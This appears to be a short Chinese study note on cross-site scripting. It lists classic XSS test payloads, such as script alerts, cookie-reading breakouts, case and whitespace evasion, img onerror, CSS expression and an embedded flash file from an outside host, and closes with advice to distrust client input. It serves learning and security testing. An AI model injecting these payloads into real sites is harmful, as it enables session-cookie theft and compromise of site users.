在烏雲發現了一個有關XSS的教程,目前有21篇,夠我慢慢兒學的了。javascript
這個系列教程的地址:http://www.wooyun.org/whitehats/心傷的瘦子/page/1html
幾個常見的語句java
<script>alert('xss')</script> //默認形式express
<ScrIpT>alert("xss")</SCriPt> //變換大小寫cookie
"/><script>alert(document.cookie)</script><!-- // <!-- 表示的意思是 閉合註釋xss
<script>alert(document.cookie)</script><!--測試
"onclick="alert(document.cookie)spa
<img src=javascript:alert("xss")></img //變換形式3d
<img src=javascript:alert("xss")> //使用ASCII表示code
<IMG SRC="jav	ascript:alert('XSS');" > //插入干擾
<DIV STYLE="width:expression(alert(163));"> //其餘屬性
<DIV STYLE="xss:expr/*XSS*/ession(alert(163))"> //再幹擾
<img src="#" onerror=alert(/xss/)> //借用事件
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>// flash跨站
補充內容
下面的是一篇講XSS基礎原理和使用的文章,寫得很好。http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
其中下面的這段話(也是摘自原文)講的是《xss漏洞修復》,既是測試有必要關注的測試點,也是開發往往須要留意的地方。
原則: 不相信客戶輸入的數據
注意: 攻擊代碼不必定在<script></script>中